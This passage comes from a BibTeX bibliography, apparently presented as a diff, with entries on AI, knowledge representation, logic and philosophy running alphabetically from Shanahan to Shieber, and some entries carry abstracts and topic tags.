Informatic Situation + for a Mobile Robot}, + year = {1996}, + month = {January}, + note = {Unpublished manuscript, Computer Science Department, + Queen Mary and Westfield College.}, + topic = {common-sense;foundations-of-robotics;} + } + +@book{ shanahan:1997a, + author = {Murray Shanahan}, + title = {Solving the Frame Problem}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + xref = {Reviews: gelfond:1998a, lifschitz:2000a, mccarthy:2000a, + sandewall:2000a.}, + topic = {kr;temporal-reasoning;frame-problem;krcourse;} + } + +@inproceedings{ shanahan:1999a, + author = {Murray Shanahan}, + title = {Reinventing Shakey}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {cognitive-robotics;} + } + +@article{ shanahan:2000a, + author = {Murray Shanahan}, + title = {Solving the Frame Problem (Response)}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {279--280}, + xref = {Response to reviews of: shanahan:1997a.}, + topic = {kr;temporal-reasoning;frame-problem;krcourse;} + } + +@incollection{ shanahan:2000b, + author = {Murray Shanahan}, + title = {Reinventing {S}hakey}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {233--253}, + address = {Dordrecht}, + topic = {logic-in-AI;cognitive-robotics;} + } + +@incollection{ shanahan:2002a, + author = {Murray Shanahan}, + title = {A Logical Account of Perception Incorporating Feedback + and Expectation}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {1--13}, + address = {San Francisco, California}, + topic = {kr;vision;perceptual-reasoning;cognitive-robotics;} + } + +@incollection{ shands-chang:1992a, + author = {Deborah Shands and Chung-Kuo Chang}, + title = {Characterizing Distributed Systems Using Knowledge-Based + Models}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {29--42}, + address = {San Francisco}, + topic = {epistemic-logic;distributed-systems;} + } + +@article{ shankar_cr:1989a, + author = {C. Ravi Shankar}, + title = {Review of {\it Prolog and Natural-Language Analysis}, by + {F}ernando {C}.{N}. {P}ereira and {S}tuart {M}. {S}heiber}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {39}, + number = {2}, + pages = {275--278}, + xref = {Review of pereira_f-shieber:1987a.}, + topic = {prolog;nlp-programming;nl-processing;} + } + +@article{ shankar_n-mcallester_da:1993a, + author = {Natarajan Shankar and David A. McAllester}, + title = {{ONTIC}: A Knowledge Representation System for Mathematics}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {2}, + pages = {355--362}, + topic = {kr;computer-assisted-mathematics;} + } + +@book{ shanker:1986a, + editor = {S.G. Shanker}, + title = {Philosophy in {B}ritain Today}, + publisher = {State University of New York Press}, + year = {1986}, + address = {Albany, New York}, + topic = {analytic-philosophy;} + } + +@incollection{ shanker:1986b, + author = {Stuart G. Shanker}, + title = {Computer Vision or Mechanist Myopia?}, + booktitle = {Philosophy in {B}ritain Today}, + publisher = {State University of New York Press}, + year = {1986}, + editor = {Stuart G. Shanker}, + pages = {213--266}, + address = {Albany, New York}, + topic = {computer-vision;philosophy-of-AI;} + } + +@article{ shapira:1975a, + author = {Zur Shapira}, + title = {Measuring Subjective Probabilities by the Magnitude + Production Method}, + journal = {Organizational Behavior and Human Performance}, + year = {1975}, + volume = {14}, + pages = {314--321}, + missinginfo = {number}, + topic = {probability;cognitive-psychology;} + } + +@book{ shapira:1995a, + author = {Zur Shapira}, + title = {Risk Taking: A Managerial Perspective}, + publisher = {Russell Sage Foundation}, + year = {1995}, + address = {New York}, + topic = {risk;management-science;} + } + +@inproceedings{ shapira:1997a, + author = {Zur Shapira}, + title = {On the Role of Summary Statistics and Extreme Events in + Managerial Conceptions of Risk}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {81--84}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;decision-analysis;practical-reasoning;} + } + +@article{ shapiro_l:2000a, + author = {Lawrence Shapiro}, + title = {Multiple Realizations}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {5}, + pages = {635--654}, + topic = {reduction;functionalism;} + } + +@article{ shapiro_la:1993a, + author = {Lawrence A. Shapiro}, + title = {Content, Kinds, and Individualism in {M}arr's + Theory of Vision}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {4}, + pages = {489--513}, + topic = {propositional-attitudes;representation;} + } + +@article{ shapiro_s1:1981a, + author = {Stuart Shapiro}, + title = {Understanding {C}hurch's Thesis}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {353--365}, + topic = {Church's-thesis;epistemic-arithmetic;} + } + +@book{ shapiro_s1:1985a, + editor = {Stewart Shapiro}, + title = {Intensional Mathematics}, + publisher = {North-Holland}, + year = {1985}, + address = {Amsterdam}, + xref = {Review: smorynski:1991a.}, + topic = {epistemic-arithmetic;} + } + +@incollection{ shapiro_s1:1985b, + author = {Stewart Shapiro}, + title = {Epistemic and Intuitionistic Arithmetic}, + booktitle = {Intensional Mathematics}, + publisher = {North-Holland}, + year = {1985}, + pages = {11--45}, + address = {Amsterdam}, + topic = {epistemic-arithmetic;intuitionistic-mathematics;} + } + +@article{ shapiro_s1:1987a, + author = {Stewart Shapiro}, + title = {Principles of Reflection and Second-Order Logic}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {3}, + pages = {309--333}, + topic = {semantic-reflection;higher-order-logic;} + } + +@book{ shapiro_s1:1996a, + editor = {Stewart Shapiro}, + title = {The Limits of Logic: Higher-Order Logic and the + {L}\"owenheim-{S}kolem Theorem}, + publisher = {Aldershot}, + year = {1996}, + address = {Brookfield, Vermont}, + topic = {higher-order-logic;lowenheim-skolem-theorem;} + } + +@book{ shapiro_s1:1997a, + author = {Stewart Shapiro}, + title = {Philosophy of Mathematics: Structure and Ontology}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + xref = {Review: tappenden:2001a.}, + topic = {philosophy-of-mathematics;} + } + +@article{ shapiro_s1:1998a, + author = {Stewart Shapiro}, + title = {Proof and Truth: through Thick and Thin}, + journal = {Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {10}, + pages = {493--521}, + topic = {truth;foundations-of-semantics;philosophy-of-logic;} + } + +@article{ shapiro_s1:1998b, + author = {Stewart Shapiro}, + title = {Incompleteness, Mechanism, and Optimism}, + journal = {The Bulletin of Symbolic Logic}, + year = {1998}, + volume = {4}, + number = {3}, + pages = {273--302}, + topic = {goedels-first-theorem;goedels-second-theorem; + foundations-of-cognition;philosophy-of-computation;} + } + +@book{ shapiro_s1:2000a, + author = {Stewart Shapiro}, + title = {Thinking about Mathematics}, + publisher = {Oxford University Press}, + year = {2000}, + address = {Oxford}, + ISBN = {0-19-289306-8}, + xref = {Review: balaguer:2002a.}, + topic = {philosophy-of-mathematics;foundations-of-mathematics;} + } + +@inproceedings{ shapiro_s2-etal:1995a, + author = {Steven Shapiro and Yves Lesp\'erance and Hector J. Levesque}, + title = {Goals and Rational Action in the Situation Calculus---A + Preliminary Report}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {117--122}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {intention-maintenance;planning-formalisms;} + } + +@inproceedings{ shapiro_s2-etal:1997a1, + author = {Steven Shapiro and Yves Lesp\'erance and Hector J. Levesque}, + title = {Specifying Communicative Multi-Agent Systems with {C}on{G}olog}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {75--82}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + xref = {Republication: shapiro_s2-etal:1997a2.}, + topic = {speech-acts;pragmatics;action-formalisms;} + } + +@incollection{ shapiro_s2-etal:1997a2, + author = {Steven Shapiro and Yves Lesp\'erance and Hector J. Levesque}, + title = {Specifying Communicative Multi-Agent Systems with {C}on{G}olog}, + booktitle = {Agents and Multi-Agent Systems---Formalisms, + Methodologies, and Applications}, + publisher = {Springer-Verlag}, + year = {1998}, + editor = {Wayne Wobcke and Maurice Pagnucco and C. Zhang}, + pages = {1--14}, + address = {Berlin}, + xref = {Republication of: shapiro_s2-etal:1997a1.}, + topic = {speech-acts;pragmatics;action-formalisms;GoLog;} + } + +@inproceedings{ shapiro_s3-etal:2000a, + author = {Steven Shapiro and Maurice Pagnucco and Hector J. + Levesque}, + title = {Iterated Belief Change in the Situation Calculus}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {527--538}, + topic = {belief-revision;situation-calculus;} + } + +@article{ shapiro_sc:1976a, + author = {Stuart C. Shapiro}, + title = {Review of {\it Artificial Intelligence}, by + {E}arl {B}. {H}unt}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {2}, + pages = {199--201}, + xref = {Review of hunt_eb:1975a.}, + topic = {AI-intro;} + } + +@book{ shapiro_sc:1979a, + author = {Stuart C. Shapiro}, + title = {Techniques of Artificial Intelligence}, + publisher = {New York: Van Nostrand}, + year = {1979}, + address = {New}, + ISBN = {0442805012}, + xref = {Review: brady_m:1980a.}, + topic = {AI-intro;} + } + +@article{ shapiro_sc:1980a, + author = {Stuart C. Shapiro}, + title = {Review of {\it {NETL}: A System for Representing and Using + Real-World Knowledge}, by {S}cott {E}. {F}ahlman}, + journal = {American Journal of Computational Linguistics}, + year = {1980}, + volume = {6}, + number = {3--4}, + pages = {183--186}, + topic = {inheritance-theory;} + } + +@incollection{ shapiro_sc-rapaport:1991a, + author = {Stuart C. Shapiro and William Rapaport}, + title = {Models and Minds: Knowledge Representation for + Natural-Language Competence}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John L. Pollock}, + pages = {215--259}, + address = {Cambridge, Massachusetts}, + topic = {kr;nl-processing;} + } + +@book{ shapiro_sc:1992a, + editor = {Stuart C. Shapiro}, + title = {Encyclopedia of Artificial Intelligence}, + edition = {2}, + publisher = {John Wiley and Sons}, + year = {1992}, + address = {New York}, + ISBN = {047150307X (set)}, + topic = {AI-encyclopedia;} + } + +@incollection{ shapiro_sc-rapaport_wj:1992a, + author = {Stuart C. Shapiro and William J. Rapaport}, + title = {The {SN}e{PS} Family}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {243--275}, + address = {Oxford}, + xref = {Also published in Computers and Mathematics with Applications; + vol. 23; 1992; 243--275}, + topic = {kr;SNePS;kr-course;} + } + +@inproceedings{ shapiro_sc-etal:1995a, + author = {Stuart C. Shapiro and Yves Lesp\'erance and Hector J. Levesque}, + title = {Goals and Rational Action in the Situation Calculus---A + Preliminary Report}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {intention;foundations-of-planning;} + } + +@incollection{ shapiro_sc:1996a, + author = {Stuart C. Shapiro}, + title = {Implementations and Research: Discussions at the Boundary + (Position Statement)}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {663--664}, + address = {San Francisco, California}, + topic = {kr;AI-implementations;kr-course;} + } + +@article{ shapiro_sc:2001a, + author = {Stuart C. Shapiro}, + title = {Review of {\it Knowledge Representation: Logical, + Philosophical, and Computational Foundations}, by {J}ohn {F}. + {S}owa}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {286--294}, + xref = {Review of: sowa:1999a.}, + topic = {kr-text;kr;} + } + +@article{ sharkey:2000a, + author = {Noel E. Sharkey}, + title = {Review of {\it Talking Nets: An Oral History of Neural + Networks}, edited by {J}ames {A}. {A}nderson and + {E}dward {R}osenfeld}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {287--293}, + xref = {Review of anderson_ja-rosenfeld:1998a.}, + topic = {connectionism;history-of-AI;} + } + +@incollection{ sharma:1996a, + author = {Nirad Sharma}, + title = {Partial Orders of Sorts and Inheritances (or Placing Inheritance in + Context)}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {280--290}, + address = {San Francisco, California}, + topic = {kr;inheritance-theory;context;kr-course;} + } + +@article{ sharvit:1999a, + author = {Yael Sharvit}, + title = {Functional Relative Clauses}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {5}, + pages = {447--478}, + topic = {relative-clauses;nl-quantifiers;} + } + +@article{ sharvit:1999b, + author = {Yael Sharvit}, + title = {Connectivity in Specificational Sentences}, + journal = {Natural Language Semantics}, + year = {1999}, + volume = {7}, + number = {3}, + pages = {299--339}, + topic = {binding-theory;} + } + +@article{ sharvit:2002a, + author = {Yael Sharvit}, + title = {Embedded Questions and `De Dicto' Readings}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {10}, + number = {2}, + pages = {97--123}, + topic = {interrogatives;nl-quantifier-scope;} + } + +@article{ sharvy:1964a, + author = {Richard Sharvy}, + title = {Tautology and Fatalism}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {10}, + pages = {293--294}, + xref = {Commentary on: taylor_r:1962a. Also see: taylor:1964a.}, + topic = {(in)determinism;} + } + +@article{ sharvy:1968a, + author = {Richard Sharvy}, + title = {Why a Class Can't Change Its Members}, + year = {1968}, + volume = {4}, + number = {2}, + pages = {303--314}, + topic = {metaphysics;individuation;} + } + +@article{ sharvy:1969a, + author = {Richard Sharvy}, + title = {Things}, + journal = {The Monist}, + year = {1969}, + volume = {53}, + number = {3}, + pages = {488--504}, + topic = {referential-opacity;Quine6yuj;} + } + +@article{ sharvy:1970a, + author = {Richard Sharvy}, + title = {Truth-Functionality and Referential Opacity}, + journal = {Philosophical Studies}, + year = {1970}, + volume = {21}, + number = {1--2}, + pages = {5--9}, + topic = {referential-opacity;} + } + +@article{ sharvy:1972a, + author = {Richard Sharvy}, + title = {Three Types of Referential Opacity}, + journal = {Philosophy of Science}, + year = {1972}, + volume = {39}, + number = {2}, + pages = {153--161}, + topic = {referential-opacity;} + } + +@article{ sharvy:1972b, + author = {Richard Sharvy}, + title = {Euthyphro 9d--11b: Analysis and Definition in {P}lato + and Others}, + journal = {No\^us}, + year = {1972}, + volume = {6}, + number = {2}, + pages = {119--137}, + topic = {Plato;definitions;} + } + +@unpublished{ sharvy:1977a, + author = {Richard Sharvy}, + title = {Maybe {C}hinese Has No Count Nouns: Notes on {C}hinese + Semantics}, + year = {1977}, + note = {Unpublished manuscript, The Avondale Institute.}, + topic = {nl-semantics;Chinese-language;} + } + +@book{ shasha-lazere:1995a, + author = {Dennis Shasha and Cathy Lazere}, + title = {Out of Their Minds: The Lives and Discoveries of + Fifteen Great Computer Scientists}, + publisher = {Springer-Verlag}, + year = {1995}, + address = {Berlin}, + ISBN = {0-387-97992-1}, + topic = {history-of-computer-science;popular-computer-science; + science-reporting;} + } + +@article{ shastri:1989a, + author = {Lokendra Shastri}, + title = {Default Reasoning in Semantic Networks: A Formalization of + Recognition and Inheritance}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {39}, + number = {3}, + pages = {283--355}, + topic = {semantic-networks;nonmonotonic-reasoning;inheritance-theory;} + } + +@incollection{ shastri:1991a, + author = {Lokendra Shastri}, + title = {Why Semantic Networks}, + booktitle = {Principles of Semantic Networks: Explorations in + the Representation of Knowledge}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {John F. Sowa}, + pages = {108--136}, + address = {San Mateo, California}, + topic = {kr;semantic-nets;kr-course;} + } + +@incollection{ shastri:1992a, + author = {Lokendra Shastri}, + title = {Structured Connectionist Models of Semantic Networks}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {293--328}, + address = {Oxford}, + topic = {kr;semantic-networks;connectionism;kr-course;} + } + +@article{ shastri-ajjanagadde:1993a, + author = {Lokendra Shastri and Venkat Ajjanagadde}, + title = {From Simple Associations to Systematic Reasoning: A + Connectionist Representation of Rules, Variables and Dynamic Bindings + Using Temporal Synchrony}, + journal = {Behavioral and Brain Sciences}, + year = {1993}, + volume = {16}, + pages = {417--494}, + missinginfo = {number}, + topic = {connectionist-plus-symbolic-architectures;} + } + +@incollection{ shatz:1986a, + author = {David Shatz}, + title = {Free Will and the Structure of Motivation}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {451--482}, + address = {Minneapolis}, + topic = {freedom;volition;desire;} + } + +@article{ shavlik-dejong:1990a, + author = {Jude W. Shavlik and Gerald F. DeJong}, + title = {Learning in Mathematically-Based Domains: Understanding + and Generalizing Obstacle Cancellations}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {45}, + number = {1--2}, + pages = {1--45}, + topic = {explanation-based-learning;mathematical-reasoning;} + } + +@article{ shaw_de:1987a, + author = {David Elliot Shaw}, + title = {On the Range of Applicability of an Artificial + Intelligence Machine}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {2}, + pages = {151--172}, + acontentnote = {Abstract: + Considerable interest has recently been expressed in the + construction of parallel machines capable of significant + performance and cost/performance improvements in various + artificial intelligence applications. In this paper, we consider + the capabilities of a particular massively parallel machine + called NON-VON, an initial prototype of which is currently + operational at Columbia University, for the efficient execution + of a rather wide range of AI tasks. The paper provides a brief + overview of the general NON-VON architecture, and summarizes + certain performance projections, derived through detailed + analysis and simulation, in the areas of rule-based inferencing, + computer vision, and knowledge-base management. + In particular, summaries are presented of projections derived + for the execution of OPS5 production systems, the performance of + a number of low- and intermediate-level image understanding + tasks, and the execution of certain ``difficult'' relational + algebraic operations having relevance to the manipulation of + knowledge bases. The results summarized in this paper, most of + which are based on benchmarks proposed by other researchers, + suggest that NON-VON could provide a performance improvement of + as much as several orders of magnitude on such tasks by + comparison with a conventional sequential machine of comparable + hardware cost. } , + topic = {parallel-processing;rule-based-reasoning;computer-vision;} + } + +@incollection{ shaw_j:1998a, + author = {James Shaw}, + title = {Clause Aggregation Using Linguistics Knowledge}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {138--147}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;syntax-selection;} + } + +@incollection{ shaw_m:1996a, + author = {Mary Shaw}, + title = {Software Architectures for Shared Information Systems}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {219--251}, + topic = {multiple-databases;} + } + +@book{ shear:1997a, + editor = {Jonathan Shear}, + title = {Explaining Consciousness: The Hard Problem}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {consciousness;} + } + +@article{ sheard:2001a, + author = {Michael Sheard}, + title = {Weak and Strong Theories of Truth}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {89-101}, + topic = {truth;formalizations-of-arithmetic;} + } + +@book{ sheehan-sosna:1991a, + editor = {James J. Sheehan and Morton Sosna}, + title = {The Boundaries of Humanity: Humans, Animals, Machines}, + publisher = {University of California Press}, + year = {1991}, + address = {Berkeley}, + ISBN = {0520071530 (hard)}, + topic = {HCI;human-animal-interaction;} + } + +@article{ shehory-kraus:1998a, + author = {Onn Shehory and Sarit Kraus}, + title = {Methods for Task Allocation via Agent Coalition + Formation}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {165--200}, + topic = {distributed-systems;artificial-societies;cooperation; + task-allocation;} + } + +@article{ shehory-etal:1999a, + author = {Onn Shehory and Sarit Kraus and Osher Yadgar}, + title = {Emergent Cooperative Goal-Satisfaction in Large-Scale + Automated-Agent Systems}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {1}, + pages = {1--55}, + acontentnote = {Abstract: + Cooperation among autonomous agents has been discussed in the + DAI community for several years. Papers about cooperation (Conte + et al., 1991; Rosenschein, 1986), negotiation (Kraus and + Wilkenfeld, 1991), distributed planning (Conry et al., 1988), + and coalition formation (Ketchpel, 1994; Sandholm and Lesser, + 1997), have provided a variety of approaches and several + algorithms and solutions to situations wherein cooperation is + possible. However, the case of cooperation in large-scale + multi-agent systems (MAS) has not been thoroughly examined. + Therefore, in this paper we present a framework for cooperative + goal-satisfaction in large-scale environments focusing on a + low-complexity physics-oriented approach. The multi-agent + systems with which we deal are modeled by a physics-oriented + model. According to the model, MAS inherit physical properties, + and therefore the evolution of the computational systems is + similar to the evolution of physical systems. To enable + implementation of the model, we provide a detailed algorithm to + be used by a single agent within the system. The model and the + algorithm are appropriate for large-scale, dynamic, Distributed + Problem Solver systems, in which agents try to increase the + benefits of the whole system. The complexity is very low, and in + some specific cases it is proved to be optimal. The analysis and + assessment of the algorithm are performed via the well-known + behavior and properties of the modeling physical system. } , + topic = {distributed-AI;cooperation;multi-agent-systems;task-allocation;} + } + +@incollection{ shehtman:1993a, + author = {Valentin Shehtman}, + title = {A Logic with Progressive Tenses}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {255--285}, + address = {Dordrecht}, + topic = {temporal-logic;tense-aspect;progressive;} + } + +@incollection{ shehtman:1998a, + author = {Valentin Shehtman}, + title = {On Strong Neighbourhood Completeness of Modal + and Intermediate Propositional Logics, Part {I}}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {209-222}, + address = {Stanford, California}, + topic = {modal-logic;completeness-theorems;} + } + +@article{ shehtman:2001a, + author = {Valentin Shehtman}, + title = {Review of {\it First-Order Modal Logic}, by {M}elvin + {F}itting and {R}ichard {L}. {M}endelsohn}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {3}, + pages = {403--405}, + xref = {Review of fitting-mendelsohn:1998b.}, + topic = {modal-logic;} + } + +@article{ shelley:2001a, + author = {Cameron Shelley}, + title = {The Bicoherence Theory of Situational Irony}, + journal = {Cognitive Science}, + year = {2001}, + volume = {25}, + pages = {715--818}, + missinginfo = {number}, + topic = {irony;coherence;} + } + +@article{ shelton:1999a, + author = {Thomas Poggio and Christian R. Shelton}, + title = {Machine Learning, Machine Vision, and the Brain}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {3}, + pages = {37--55}, + topic = {machine-learning;vision;} + } + +@article{ shen_wm:1990a, + author = {Wei-Min Shen}, + title = {Functional Transformations in {AI} Discovery Systems}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {41}, + number = {3}, + pages = {257--272}, + acontentnote = {Abstract: + The power of scientific discovery systems derives from two main + sources: a set of heuristics that determines when to apply a + creative operator (an operator for forming new operators and + concepts) in a space that is being explored; and a set of + creative operators that determines what new operators and + concepts will be created for that exploration. This paper is + mainly concerned with the second issue. A mechanism called + functional transformation (FT) shows promising power in creating + new and useful creative operators during exploration. This + paper discusses the definition, creation, and application of + functional transformations, and describes as a demonstration of + the power of FT how the system ARE, starting with a small set of + creative operations and a small set of heuristics, uses FTs to + create all the concepts attained by Lenat's AM system [4], and + others as well. Besides showing an alternative way, of Lenat's + EURISKO [5], to meet the criticisms of too much pre-programmed + knowledge [6] that have been leveled against AM, ARE provides a + route to discovery systems that are capable of ``refreshing'' + themselves indefinitely by continually creating new operators. } , + topic = {scientific-discovery;heuristics;} + } + +@article{ shen_z:1993a, + author = {Zuliang Shen}, + title = {Review of {\it Fuzzy Sets and Applications: Selected + Papers by {L}.{A}. {Z}adeh}, edited by {R}onald {R}. {Y}ager and {S}. + {O}vchinnikov and {R}.{M}. {T}ong and {H}.{T}. {N}guyen}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {2}, + pages = {351--358}, + xref = {Review of yager-etal:1987a.}, + topic = {fuzzy-logic;} + } + +@incollection{ shepardson:1988a, + author = {John C. Shepardson}, + title = {Mechanisms for Computing over Arbitrary Structures}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {581--601}, + address = {Oxford}, + topic = {abstract-recursion-theory;} + } + +@techreport{ shepherd-thecyclists:1991a, + author = {Mary Shepherd and the Cyclists}, + title = {{CYC} {KE}-Region User's Guide}, + institution = {Microelectronics and Computer Technology + Corporation}, + number = {ACT--CYC--018--91--Q}, + year = {1991}, + address = {Austin, Texas}, + topic = {CYC;} + } + +@techreport{ shepherd-thecyclists:1991b, + author = {Mary Shepherd and the Cyclists}, + title = {{CYC} User's Manual for Interface on Symbolics + Machines}, + institution = {Microelectronics and Computer Technology + Corporation}, + number = {ACT--CYC--065--91--Q}, + year = {1991}, + address = {Austin, Texas}, + topic = {CYC;} + } + +@article{ sheppard:2002a, + author = {Brian Sheppard}, + title = {World-Championship-Caliber Scrabble}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {241--275}, + topic = {computer-games;search;} + } + +@book{ shepperd-ince:1993a, + author = {Martin Shepperd and Darrel Ince}, + title = {Derivation and Validation of Software Metrics}, + publisher = {Oxford University Press}, + year = {1993}, + address = {Oxford}, + ISBN = {0198538421}, + topic = {software-engineering;} + } + +@article{ sher:1990a, + author = {Gila Y. Sher}, + title = {Ways of Branching Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {4}, + pages = {393--422}, + topic = {branching-quantifiers;} + } + +@book{ sher:1991a, + author = {Gila Y. Sher}, + title = {The Bounds of Logic}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + ISBN = {0262193116}, + topic = {branching-quantifiers;philosophy-of-logic;} + } + +@incollection{ sher:1996a, + author = {Gila Y. Sher}, + title = {Semantics and Logic}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {511--537}, + topic = {nl-semantics;foundations-of-semantics;} + } + +@article{ sher:2001a, + author = {Gila Sher}, + title = {The Formal-Structural View of Logical Consequence}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {2}, + pages = {199--261}, + topic = {logical-consequence;philosophy-of-logic;} + } + +@inproceedings{ sherman:1987a, + author = {David Sherman}, + title = {A Prolog Model of the Income Tax Act of {C}anada}, + booktitle = {First International Conference + on Artificial Intelligence and Law}, + publisher = {ACM Press}, + year = {1987}, + pages = {127--136}, + topic = {legai-AI;logic-programming;tax-law;} + } + +@incollection{ sherrah-gong:1999a, + author = {Jamie Sherrah and Shaogang Gong}, + title = {Exploiting Context in Gesture Recognition}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {515--518}, + address = {Berlin}, + topic = {context;gestures;} + } + +@article{ sherry:1999a, + author = {David Sherry}, + title = {Note on the Scope of Truth-Functional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {3}, + pages = {327--328}, + topic = {foundations-of-logic;} + } + +@article{ sheth-larson_j:1990a, + author = {A. Sheth and J. Larson}, + title = {Federated Database Systems for Managing Distributed, + Heterogeneous, and Autonomous Databases}, + journal = {{ACM} Computing Surveys}, + year = {1990}, + volume = {22}, + number = {3}, + pages = {183--236}, + missinginfo = {A's 1st name}, + topic = {federated-databases;} + } + +@book{ shibatani:1975a, + author = {Mayayoshi Shibatani}, + title = {A Linguistic Study of Causative Constructions}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-causatives;Japanese-language;} + } + +@techreport{ shieber:1983a, + author = {Stuart M. 